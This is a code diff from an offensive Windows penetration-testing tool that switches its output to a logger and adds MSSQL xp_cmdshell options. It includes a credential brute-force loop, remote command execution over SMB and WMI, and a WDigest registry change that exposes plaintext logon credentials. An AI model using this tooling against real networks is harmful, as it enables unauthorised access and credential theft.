#resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS )
|
||||
#resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL )
|
||||
|
@ -200,13 +200,13 @@ class SVCCTL:
|
|||
output += "STOPPED"
|
||||
else:
|
||||
output += "UNKOWN"
|
||||
print_att(output)
|
||||
print_att("Total Services: %d" % len(resp))
|
||||
self.__logger.results(output)
|
||||
self.__logger.results("Total Services: {}".format(len(resp)))
|
||||
elif self.__action == 'CREATE':
|
||||
print_status("{}:{} Creating service {}".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Creating service {}".format(self.__options.service_name))
|
||||
scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00')
|
||||
elif self.__action == 'CHANGE':
|
||||
print_status("{}:{} Changing service config for {}".format(self.__addr, self.__port, self.__options.service_name))
|
||||
self.__logger.success("Changing service config for {}".format(self.__options.service_name))
|
||||
if self.__options.start_type is not None:
|
||||
start_type = int(self.__options.start_type)
|
||||
else:
|
||||
|
|
|
@ -35,7 +35,6 @@ import logging
|
|||
import random
|
||||
import string
|
||||
|
||||
from core.logger import *
|
||||
from core.servers.smbserver import SMBServer
|
||||
from impacket import version
|
||||
from impacket.smbconnection import *
|
||||
|
@ -51,11 +50,12 @@ class SMBEXEC:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
|
||||
def __init__(self, logger, command, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = None, mode = None, share = None, noOutput=False):
|
||||
|
||||
if not protocols:
|
||||
protocols = SMBEXEC.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__command = command
|
||||
|
@ -100,7 +100,7 @@ class SMBEXEC:
|
|||
if self.__mode == 'SERVER':
|
||||
serverThread = SMBServer()
|
||||
serverThread.start()
|
||||
self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
|
||||
self.shell = RemoteShell(self.__logger, self.__share, rpctransport, self.__mode, self.__serviceName, self.__noOutput)
|
||||
self.shell.onecmd(self.__command)
|
||||
self.shell.finish()
|
||||
if self.__mode == 'SERVER':
|
||||
|
@ -111,8 +111,9 @@ class SMBEXEC:
|
|||
self.shell.finish()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, rpc, mode, serviceName, noOutput):
|
||||
def __init__(self, logger, share, rpc, mode, serviceName, noOutput):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__logger = logger
|
||||
self.__share = share
|
||||
self.__mode = mode
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
|
@ -235,9 +236,9 @@ class RemoteShell(cmd.Cmd):
|
|||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
peer = ':'.join(map(str, self.__rpc.get_socket().getpeername()))
|
||||
print_succ("{} Executed command via SMBEXEC".format(peer))
|
||||
self.__logger.success("Executed command via SMBEXEC")
|
||||
if self.__noOutput is False:
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
self.__logger.results(line.strip())
|
||||
self.__outputBuffer = ''
|
||||
|
|
|
@ -29,7 +29,6 @@ import ntpath
|
|||
import core.settings as settings
|
||||
|
||||
from gevent import sleep
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
|
@ -40,7 +39,8 @@ from StringIO import StringIO
|
|||
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
|
||||
def __init__(self, logger, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False):
|
||||
self.__logger = logger
|
||||
self.__command = command
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
|
@ -73,7 +73,7 @@ class WMIEXEC:
|
|||
win32Process,_ = iWbemServices.GetObject('Win32_Process')
|
||||
|
||||
try:
|
||||
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
|
||||
self.shell = RemoteShell(self.__logger, self.__share, win32Process, smbConnection)
|
||||
self.shell.onecmd(self.__command)
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
logging.error(str(e))
|
||||
|
@ -82,8 +82,9 @@ class WMIEXEC:
|
|||
dcom.disconnect()
|
||||
|
||||
class RemoteShell(cmd.Cmd):
|
||||
def __init__(self, share, win32Process, smbConnection):
|
||||
def __init__(self, logger, share, win32Process, smbConnection):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__logger = logger
|
||||
self.__share = share
|
||||
self.__output = '\\Windows\\Temp\\' + OUTPUT_FILENAME
|
||||
self.__outputBuffer = ''
|
||||
|
@ -228,10 +229,10 @@ class RemoteShell(cmd.Cmd):
|
|||
|
||||
def send_data(self, data):
|
||||
self.execute_remote(data)
|
||||
print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(),
|
||||
settings.args.port))
|
||||
self.__logger.success('Executed command via WMIEXEC')
|
||||
|
||||
if self.__noOutput is False:
|
||||
buf = StringIO(self.__outputBuffer.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
self.__logger.results(line.strip())
|
||||
self.__outputBuffer = ''
|
|
@ -22,7 +22,6 @@ import os
|
|||
import logging
|
||||
import cmd
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
|
@ -31,7 +30,8 @@ import core.settings as settings
|
|||
|
||||
class WMIQUERY:
|
||||
|
||||
def __init__(self, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
|
||||
def __init__(self, logger, username, password, domain, hashes = None, doKerberos = False, aesKey = None, oxidResolver = True):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
|
@ -53,15 +53,16 @@ class WMIQUERY:
|
|||
iWbemServices= iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
shell = WMIShell(iWbemServices, address)
|
||||
shell = WMIShell(self.__logger, iWbemServices, address)
|
||||
shell.onecmd(command)
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
dcom.disconnect()
|
||||
|
||||
class WMIShell(cmd.Cmd):
|
||||
def __init__(self, iWbemServices, address):
|
||||
def __init__(self, logger, iWbemServices, address):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.logger = logger
|
||||
self.address = address
|
||||
self.iWbemServices = iWbemServices
|
||||
|
||||
|
@ -104,7 +105,7 @@ class WMIShell(cmd.Cmd):
|
|||
line = []
|
||||
for rec in record:
|
||||
line.append('{}: {}'.format(rec, record[rec]['value']))
|
||||
print_att(' | '.join(line))
|
||||
self.logger.results(' | '.join(line))
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
#print traceback.print_exc()
|
||||
|
@ -120,7 +121,7 @@ class WMIShell(cmd.Cmd):
|
|||
line = line[:-1]
|
||||
try:
|
||||
iEnumWbemClassObject = self.iWbemServices.ExecQuery(line.strip('\n'))
|
||||
print_succ('{}:{} Executed specified WMI query:'.format(self.address, settings.args.port))
|
||||
self.logger.success('Executed specified WMI query')
|
||||
self.printReply(iEnumWbemClassObject)
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
except Exception, e:
|
||||
|
|
|
@ -1,3 +1,6 @@
|
|||
from random import sample
|
||||
from string import ascii_lowercase
|
||||
|
||||
def init_args(arg_namespace):
|
||||
"""
|
||||
This is just so we can easily share argparse's namespace
|
||||
|
@ -7,4 +10,7 @@ def init_args(arg_namespace):
|
|||
args = arg_namespace
|
||||
|
||||
global gfails
|
||||
gfails = 0
|
||||
gfails = 0
|
||||
|
||||
global obfs_func_name
|
||||
obfs_func_name = ''.join(sample(ascii_lowercase, 10))
|
|
@ -1,4 +1,3 @@
|
|||
from logger import *
|
||||
from impacket.smbconnection import SessionError
|
||||
import random
|
||||
import string
|
||||
|
@ -7,9 +6,10 @@ import settings
|
|||
|
||||
class SHAREDUMP:
|
||||
|
||||
def __init__(self, smbconnection):
|
||||
def __init__(self, smbconnection, logger):
|
||||
self.__smbconnection = smbconnection
|
||||
self.__permdir = ''.join(random.sample(string.ascii_letters, 10))
|
||||
self.__logger = logger
|
||||
|
||||
def dump(self, host):
|
||||
permissions = {}
|
||||
|
@ -32,11 +32,11 @@ class SHAREDUMP:
|
|||
except SessionError:
|
||||
pass
|
||||
|
||||
print_succ('{}:{} Available shares:'.format(host, settings.args.port))
|
||||
print_att('{:>15} {:>15}'.format('SHARE', 'Permissions'))
|
||||
print_att('{:>15} {:>15}'.format('-----', '-----------'))
|
||||
self.__logger.success('Enumerating shares')
|
||||
self.__logger.results('{:>15} {:>15}'.format('SHARE', 'Permissions'))
|
||||
self.__logger.results('{:>15} {:>15}'.format('-----', '-----------'))
|
||||
for share, perm in permissions.iteritems():
|
||||
if not perm:
|
||||
print_att(u'{:>15} {:>15}'.format(share, 'NO ACCESS'))
|
||||
self.__logger.results(u'{:>15} {:>15}'.format(share, 'NO ACCESS'))
|
||||
else:
|
||||
print_att(u'{:>15} {:>15}'.format(share, ', '.join(perm)))
|
||||
self.__logger.results(u'{:>15} {:>15}'.format(share, ', '.join(perm)))
|
|
@ -6,7 +6,10 @@ import os
|
|||
import csv
|
||||
import StringIO
|
||||
|
||||
def smart_login(host, smb, domain):
|
||||
class MSSQLSessionError(Exception):
|
||||
pass
|
||||
|
||||
def smart_login(host, domain, connection, cme_logger):
|
||||
'''
|
||||
This function should probably be called ugly_login
|
||||
'''
|
||||
|
@ -19,11 +22,12 @@ def smart_login(host, smb, domain):
|
|||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
line = line.strip()
|
||||
|
@ -54,23 +58,45 @@ def smart_login(host, smb, domain):
|
|||
|
||||
try:
|
||||
if settings.args.kerb:
|
||||
smb.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
|
||||
if settings.args.mssql is not None:
|
||||
res = connection.kerberosLogin(None, user, passwd, domain, ':'.join(lmhash, nthash), settings.args.aesKey)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.kerberosLogin(user, passwd, domain, lmhash, nthash, settings.args.aesKey)
|
||||
|
||||
else:
|
||||
smb.login(user, passwd, domain, lmhash, nthash)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||
if settings.args.mssql is not None:
|
||||
res = connection.login(None, user, passwd, domain, ':'.join(lmhash, nthash), True)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.login(user, passwd, domain, lmhash, nthash)
|
||||
|
||||
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd))
|
||||
|
||||
settings.args.user = user
|
||||
settings.args.passwd = passwd
|
||||
settings.args.hash = ':'.join(lmhash, nthash)
|
||||
return smb
|
||||
|
||||
return connection
|
||||
|
||||
except SessionError as e:
|
||||
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e))
|
||||
cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e))
|
||||
if 'STATUS_LOGON_FAILURE' in e:
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
except MSSQLSessionError:
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
except Exception as e:
|
||||
print_error("Error parsing line '{}' in combo file: {}".format(line, e))
|
||||
cme_logger.error("Error parsing line '{}' in combo file: {}".format(line, e))
|
||||
continue
|
||||
else:
|
||||
usernames = []
|
||||
|
@ -122,11 +148,12 @@ def smart_login(host, smb, domain):
|
|||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
ntlm_hash = ntlm_hash.strip().lower()
|
||||
|
@ -135,30 +162,51 @@ def smart_login(host, smb, domain):
|
|||
|
||||
try:
|
||||
if settings.args.kerb:
|
||||
smb.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
|
||||
if settings.args.mssql is not None:
|
||||
res = connection.kerberosLogin(None, user, '', domain, ':'.join(lmhash, nthash), settings.args.aesKey)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.kerberosLogin(user, '', domain, lmhash, nthash, settings.args.aesKey)
|
||||
else:
|
||||
smb.login(user, '', domain, lmhash, nthash)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, ntlm_hash))
|
||||
if settings.args.mssql is not None:
|
||||
res = connection.login(None, user, '', domain, ':'.join(lmhash, nthash), True)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.login(user, '', domain, lmhash, nthash)
|
||||
|
||||
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, ntlm_hash))
|
||||
settings.args.user = user
|
||||
settings.args.hash = ntlm_hash
|
||||
return smb
|
||||
|
||||
return connection
|
||||
|
||||
except SessionError as e:
|
||||
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, ntlm_hash, e))
|
||||
cme_logger.error("{}\\{}:{} {}".format(domain, user, ntlm_hash, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
except MSSQLSessionError:
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
if passwords:
|
||||
for passwd in passwords:
|
||||
|
||||
if settings.args.fail_limit:
|
||||
if settings.args.fail_limit == fails:
|
||||
print_status('{}:{} Reached login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached login fail limit')
|
||||
raise socket.error
|
||||
|
||||
if settings.args.gfail_limit:
|
||||
if settings.gfails >= settings.args.gfail_limit:
|
||||
print_status('{}:{} Reached global login fail limit'.format(host, settings.args.port))
|
||||
cme_logger.info('Reached global login fail limit')
|
||||
raise socket.error
|
||||
|
||||
passwd = passwd.strip()
|
||||
|
@ -166,18 +214,38 @@ def smart_login(host, smb, domain):
|
|||
if passwd == '': passwd = "''"
|
||||
try:
|
||||
if settings.args.kerb:
|
||||
smb.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
|
||||
if settings.args.mssql is not None:
|
||||
connection.kerberosLogin(None, user, passwd, domain, None, settings.args.aesKey)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.kerberosLogin(user, passwd, domain, '', '', settings.args.aesKey)
|
||||
else:
|
||||
smb.login(user, passwd, domain)
|
||||
print_succ("{}:{} Login successful {}\\{}:{}".format(host, settings.args.port, domain, user, passwd))
|
||||
if settings.args.mssql is not None:
|
||||
res = connection.login(None, user, passwd, domain, None, True)
|
||||
if res is not True:
|
||||
connection.printReplies()
|
||||
raise MSSQLSessionError
|
||||
else:
|
||||
connection.login(user, passwd, domain)
|
||||
|
||||
cme_logger.success("Login successful {}\\{}:{}".format(domain, user, passwd))
|
||||
settings.args.user = user
|
||||
settings.args.passwd = passwd
|
||||
return smb
|
||||
|
||||
return connection
|
||||
|
||||
except SessionError as e:
|
||||
print_error("{}:{} {}\\{}:{} {}".format(host, settings.args.port, domain, user, passwd, e))
|
||||
cme_logger.error("{}\\{}:{} {}".format(domain, user, passwd, e))
|
||||
if 'STATUS_LOGON_FAILURE' in str(e):
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
except MSSQLSessionError:
|
||||
fails += 1
|
||||
settings.gfails += 1
|
||||
continue
|
||||
|
||||
raise socket.error #So we fail without a peep
|
|
@ -2,7 +2,6 @@ import re
|
|||
import settings
|
||||
import traceback
|
||||
|
||||
from logger import *
|
||||
from time import time, strftime, localtime
|
||||
from impacket.smbconnection import SessionError
|
||||
from remotefilesystem import RemoteFile
|
||||
|
@ -10,11 +9,12 @@ from impacket.smb3structs import FILE_READ_DATA
|
|||
|
||||
class SMBSPIDER:
|
||||
|
||||
def __init__(self, host, smbconnection):
|
||||
def __init__(self, logger, host, smbconnection):
|
||||
self.__logger = logger
|
||||
self.__smbconnection = smbconnection
|
||||
self.__start_time = time()
|
||||
self.__host = host
|
||||
print_status("{}:{} Started spidering".format(self.__host, settings.args.port))
|
||||
self.__logger.success("Started spidering")
|
||||
|
||||
def spider(self, subfolder, depth):
|
||||
'''
|
||||
|
@ -54,13 +54,13 @@ class SMBSPIDER:
|
|||
for pattern in settings.args.pattern:
|
||||
if re.findall(pattern, result.get_longname()):
|
||||
if result.is_directory():
|
||||
print_att(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
|
||||
self.__logger.results(u"//{}/{}{} [dir]".format(self.__host, path, result.get_longname()))
|
||||
else:
|
||||
print_att(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
result.get_filesize()))
|
||||
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{}]".format(self.__host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
result.get_filesize()))
|
||||
|
||||
if settings.args.search_content:
|
||||
if not result.is_directory():
|
||||
|
@ -85,13 +85,13 @@ class SMBSPIDER:
|
|||
return
|
||||
|
||||
if re.findall(pattern, contents):
|
||||
print_att(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
pattern.pattern))
|
||||
self.__logger.results(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:{}]".format(self.__host,
|
||||
path,
|
||||
result.get_longname(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(result.get_mtime_epoch())),
|
||||
result.get_filesize(),
|
||||
rfile.tell(),
|
||||
pattern.pattern))
|
||||
rfile.close()
|
||||
return
|
||||
|
||||
|
@ -101,10 +101,8 @@ class SMBSPIDER:
|
|||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
except Exception as e:
|
||||
print_error(str(e))
|
||||
self.__logger.error(str(e))
|
||||
if settings.args.verbose: traceback.print_exc()
|
||||
|
||||
def finish(self):
|
||||
print_status("{}:{} Done spidering (Completed in {})".format(self.__host,
|
||||
settings.args.port,
|
||||
time() - self.__start_time))
|
||||
self.__logger.error("Done spidering (Completed in {})".format(time() - self.__start_time))
|
|
@ -1,10 +1,10 @@
|
|||
from scripts.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from logger import *
|
||||
|
||||
class UACdump:
|
||||
|
||||
def __init__(self, smbconnection, doKerb):
|
||||
def __init__(self, logger, smbconnection, doKerb):
|
||||
self.logger = logger
|
||||
self.smbconnection = smbconnection
|
||||
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
|
||||
self.doKerb = doKerb
|
||||
|
@ -18,11 +18,11 @@ class UACdump:
|
|||
keyHandle = ans['phkResult']
|
||||
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
|
||||
|
||||
print_succ("{} UAC status:".format(self.peer))
|
||||
self.logger.success("Enumerating UAC status")
|
||||
if uac_value == 1:
|
||||
print_att('1 - UAC Enabled')
|
||||
self.logger.results('1 - UAC Enabled')
|
||||
elif uac_value == 0:
|
||||
print_att('0 - UAC Disabled')
|
||||
self.logger.results('0 - UAC Disabled')
|
||||
|
||||
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
|
||||
remoteOps.finish()
|
||||
|
|
|
@ -1,11 +1,11 @@
|
|||
from scripts.secretsdump import RemoteOperations
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from logger import *
|
||||
|
||||
class WdisgestEnable:
|
||||
|
||||
def __init__(self, smbconnection, doKerb):
|
||||
def __init__(self, logger, smbconnection, doKerb):
|
||||
self.logger = logger
|
||||
self.smbconnection = smbconnection
|
||||
self.peer = ':'.join(map(str, smbconnection.getSMBServer().get_socket().getpeername()))
|
||||
self.doKerb = doKerb
|
||||
|
@ -28,7 +28,7 @@ class WdisgestEnable:
|
|||
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
|
||||
|
||||
if int(data) == 1:
|
||||
print_succ('{} UseLogonCredential registry key created successfully'.format(self.peer))
|
||||
self.logger.success('UseLogonCredential registry key created successfully')
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
|
@ -53,7 +53,7 @@ class WdisgestEnable:
|
|||
#Check to make sure the reg key is actually deleted
|
||||
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
|
||||
except DCERPCException:
|
||||
print_succ('{} UseLogonCredential registry key deleted successfully'.format(self.peer))
|
||||
self.logger.success('UseLogonCredential registry key deleted successfully')
|
||||
|
||||
try:
|
||||
remoteOps.finish()
|
||||
|
|
|
@ -8,26 +8,25 @@ from gevent.pool import Pool
|
|||
from gevent import joinall, sleep
|
||||
|
||||
from core.logger import *
|
||||
from core.maingreenlet import connect
|
||||
from core.greenlets import main_greenlet
|
||||
from core.settings import init_args
|
||||
from core.servers.mimikatz import http_server, https_server
|
||||
from argparse import RawTextHelpFormatter
|
||||
from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError
|
||||
from logging import DEBUG
|
||||
from random import sample
|
||||
from string import ascii_lowercase
|
||||
|
||||
import re
|
||||
import argparse
|
||||
import sys
|
||||
import os
|
||||
|
||||
VERSION = '2.2'
|
||||
CODENAME = '\'All I want for Christmas is a better name for this\''
|
||||
VERSION = '2.3'
|
||||
CODENAME = '\'Pink Bubbles\''
|
||||
|
||||
if sys.platform == 'linux2':
|
||||
if os.geteuid() is not 0:
|
||||
root_error()
|
||||
print_error('I needz r00tz!')
|
||||
sys.exit(1)
|
||||
|
||||
parser = argparse.ArgumentParser(description="""
|
||||
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
|
||||
|
@ -48,7 +47,7 @@ parser = argparse.ArgumentParser(description="""
|
|||
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
|
||||
|
||||
{}: {}
|
||||
{}: {}
|
||||
{}: {}
|
||||
""".format(red('Version'),
|
||||
yellow(VERSION),
|
||||
red('Codename'),
|
||||
|
@ -58,7 +57,7 @@ parser = argparse.ArgumentParser(description="""
|
|||
version='{} - {}'.format(VERSION, CODENAME),
|
||||
epilog='There\'s been an awakening... have you felt it?')
|
||||
|
||||
parser.add_argument("target", nargs=1, type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
|
||||
parser.add_argument("target", nargs='*', type=str, help="The target IP, range, CIDR identifier, hostname, FQDN or list or file containg a list of targets")
|
||||
parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)")
|
||||
parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames")
|
||||
parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords")
|
||||
|
@ -139,13 +138,19 @@ wgroup.add_argument("--start-type", metavar='TYPE', help='Service start type')
|
|||
wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account under which the service should run')
|
||||
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
|
||||
|
||||
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
|
||||
mgroup.add_argument("--mssql", nargs='?', const='', metavar='QUERY', help='Authenticate with the provided credentials against the MSSQL service, optionally execute the specified query')
|
||||
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
|
||||
mgroup.add_argument("--mssql-instance", action='store_true', help='Enumerate the MSSQL intances on the target hosts')
|
||||
mgroup.add_argument("--enable-xpcmdshell", action='store_true', help='Enable xp_cmdshell on target DB\'s')
|
||||
mgroup.add_argument("--disable-xpcmdshell", action='store_true', help='Disable xp_cmdshell on target DB\'s')
|
||||
mgroup.add_argument("--xp-cmd", metavar='COMMAND', help='Execute the specified command using xp_cmdshell')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
parser.print_help()
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
args.obfs_func_name = ''.join(sample(ascii_lowercase, 10))
|
||||
args.target = args.target[0]
|
||||
patterns = []
|
||||
targets = []
|
||||
|
||||
|
@ -164,9 +169,9 @@ if args.server == 'https':
|
|||
init_args(args)
|
||||
|
||||
if args.verbose:
|
||||
setup_logger(args.target, DEBUG)
|
||||
setup_logger('_'.join(args.target), DEBUG)
|
||||
else:
|
||||
setup_logger(args.target)
|
||||
setup_logger('_'.join(args.target))
|
||||
|
||||
###################### Just a bunch of error checking to make sure everythings good to go ######################
|
||||
|
||||
|
@ -228,7 +233,7 @@ if args.ntds_history or args.ntds_pwdLastSet:
|
|||
|
||||
################################################################################################################
|
||||
|
||||
def get_targets(target):
|
||||
def populate_targets(target):
|
||||
if '-' in target:
|
||||
ip_range = target.split('-')
|
||||
try:
|
||||
|
@ -243,30 +248,27 @@ def get_targets(target):
|
|||
|
||||
end_ip = IPAddress('.'.join(start_ip_words))
|
||||
|
||||
return IPRange(start_ip, end_ip)
|
||||
t = IPRange(start_ip, end_ip)
|
||||
except AddrFormatError:
|
||||
return target
|
||||
t = target
|
||||
else:
|
||||
try:
|
||||
return IPNetwork(target)
|
||||
t = IPNetwork(target)
|
||||
except AddrFormatError:
|
||||
return target
|
||||
t = target
|
||||
|
||||
if os.path.exists(args.target):
|
||||
with open(args.target, 'r') as target_file:
|
||||
for target in target_file:
|
||||
t = get_targets(target)
|
||||
if type(t) is IPNetwork or IPRange:
|
||||
targets.extend(list(t))
|
||||
else:
|
||||
targets.append(t)
|
||||
else:
|
||||
for target in args.target.split(','):
|
||||
t = get_targets(target)
|
||||
if type(t) == IPNetwork or type(t) == IPRange:
|
||||
targets.extend(list(t))
|
||||
else:
|
||||
targets.append(t)
|
||||
if type(t) == IPNetwork or type(t) == IPRange:
|
||||
targets.extend(list(t))
|
||||
else:
|
||||
targets.append(t)
|
||||
|
||||
for target in args.target:
|
||||
if os.path.exists(target):
|
||||
with open(target, 'r') as target_file:
|
||||
for target_entry in target_file:
|
||||
populate_targets(target_entry)
|
||||
else:
|
||||
populate_targets(target)
|
||||
|
||||
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.inject or args.ntds == 'ninja':
|
||||
if args.server == 'http':
|
||||
|
@ -282,7 +284,7 @@ def concurrency(targets):
|
|||
'''
|
||||
try:
|
||||
pool = Pool(args.threads)
|
||||
jobs = [pool.spawn(connect, str(target)) for target in targets]
|
||||
jobs = [pool.spawn(main_greenlet, str(target)) for target in targets]
|
||||
joinall(jobs)
|
||||
except KeyboardInterrupt:
|
||||
shutdown(0)
|
||||
|
|
Loading…
Reference in New Issue